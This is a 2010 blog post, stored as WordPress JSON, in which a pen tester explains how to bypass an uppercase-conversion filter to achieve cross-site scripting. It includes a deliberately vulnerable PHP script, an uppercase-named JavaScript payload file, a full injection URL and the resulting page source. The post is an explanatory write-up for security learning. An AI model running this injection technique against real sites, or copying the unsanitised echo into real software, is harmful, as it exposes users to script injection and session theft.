{"id":32,"date":"2010-05-28T03:31:00","date_gmt":"2010-05-28T03:31:00","guid":{"rendered":"https:\/\/freezion.com\/?p=32"},"modified":"2010-05-28T03:31:00","modified_gmt":"2010-05-28T03:31:00","slug":"thinking-sideways","status":"publish","type":"post","link":"https:\/\/freezion.com\/?p=32","title":{"rendered":"thinking sideways"},"content":{"rendered":"<p>Had an interesting question posed to me today. A web application was using portions of the GET request to create content on a page, and not properly sanitising the input. The result was a web page that was potentially vulnerable to cross-site scripting (XSS). However, there was a catch. The application, while not checking for security risks, was converting the GET request parameters to all uppercase.<\/p>\n<p>This meant that, since javascript is case sensitive, the usual methods wouldn&#8217;t work For example you couldn&#8217;t use document.write(), or alert(), because they were rendered as DOCUMENT.WRITE() or ALERT() instead.<\/p>\n<p>Here&#8217;s a quick and dirty PHP script I wrote that mimics this behaviour (note that you will need to have GPC_MAGIC_QUOTES turned off in the php.ini for this to work)<\/p>\n<pre>&lt;?php\n   echo '&lt;form name=\"testform\" method=\"post\"&gt;';\n   echo '&lt;select name=\"test\"&gt;';\n   if (isset($_GET['options']) ) {\n      echo strtoupper($_GET['options']);\n   } else {\n      echo '&lt;option value=\"empty\"&gt;EMPTY&lt;\/option&gt;';\n   }\n   echo '&lt;\/select&gt;';\n   echo '&lt;input type=\"submit\" name=\"submit\" value=\"submit\" \/&gt;';\n   echo '&lt;\/form&gt;';\n?&gt;<\/pre>\n<p>To test it out, simply browse to http:\/\/yourhost.yourdomain\/test.php?options=uppercaseftw<\/p>\n<p>So, the question as a pen tester is, how can I break this?<\/p>\n<p>Turns out the answer is pretty simple: you simply make your own javascript file, host it on a server somewhere, give it an uppercase file name, and create functions with uppercase names.<\/p>\n<p>For example, I created the following XSS() function, in a file named XSS.JS:<\/p>\n<pre>function XSS() {\n   alert('xss'); \/\/ or whatever\n}<\/pre>\n<p>Now, I need to load this code into the page I&#8217;m requesting, and then somehow call the XSS() function. I did this by closing the select tag in my <em>options<\/em> GET parameter, and providing my own script tag. I then created a link to &#8220;foo&#8221;, and set an onMouseOver event to call the XSS() function.<\/p>\n<p>Here&#8217;s what the request URL looks like to exploit this code:<\/p>\n<pre>http:\/\/localhost\/sandbox\/index.php?options=&lt;option value=\"number1\"&gt;number1&lt;\/option&gt;&lt;\/select&gt;&lt;script language=\"javascript\" src=\"XSS.JS\"&gt;&lt;\/script&gt;&lt;a href=\"foo\" onmouseover=\"XSS()\"&gt;clicky&lt;\/a&gt;   &lt;!--<\/pre>\n<p>The result is a nice link that, upon placing the mouse over it, triggers the javascript event which fires off the usual alert box.<\/p>\n<p>The source code of the resulting page looks like this:<\/p>\n<pre>&lt;form name=\"testform\" method=\"post\"&gt;\n&lt;select name=\"test\"&gt;\n&lt;OPTION VALUE=\"NUMBER1\"&gt;NUMBER1&lt;\/OPTION&gt;\n&lt;\/SELECT&gt;\n&lt;SCRIPT LANGUAGE=\"JAVASCRIPT\" SRC=\"XSS.JS\"&gt;&lt;\/SCRIPT&gt;\n&lt;A HREF=\"FOO\" ONMOUSEOVER=\"XSS()\"&gt;CLICKY&lt;\/A&gt;\n&lt;!--&lt;\/select&gt;\n&lt;input type=\"submit\" name=\"submit\" value=\"submit\" \/&gt;\n&lt;\/form&gt;<\/pre>\n<p>Nothing particularly awesome about this, but it was a situation I&#8217;d not come across before, and it took me a minute to figure out a way around it. So I thought I&#8217;d share =)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Had an interesting question posed to me today. A web application was using portions of the GET request to&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2,4],"tags":[20,46],"class_list":["post-32","post","type-post","status-publish","format-standard","hentry","category-hacking","category-musing","tag-hacker","tag-rambling"],"_links":{"self":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts\/32","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32"}],"version-history":[{"count":0,"href":"https:\/\/freezion.com\/index.php?rest_route=\/wp\/v2\/posts\/32\/revisions"}],"wp:attachment":[{"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/freezion.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}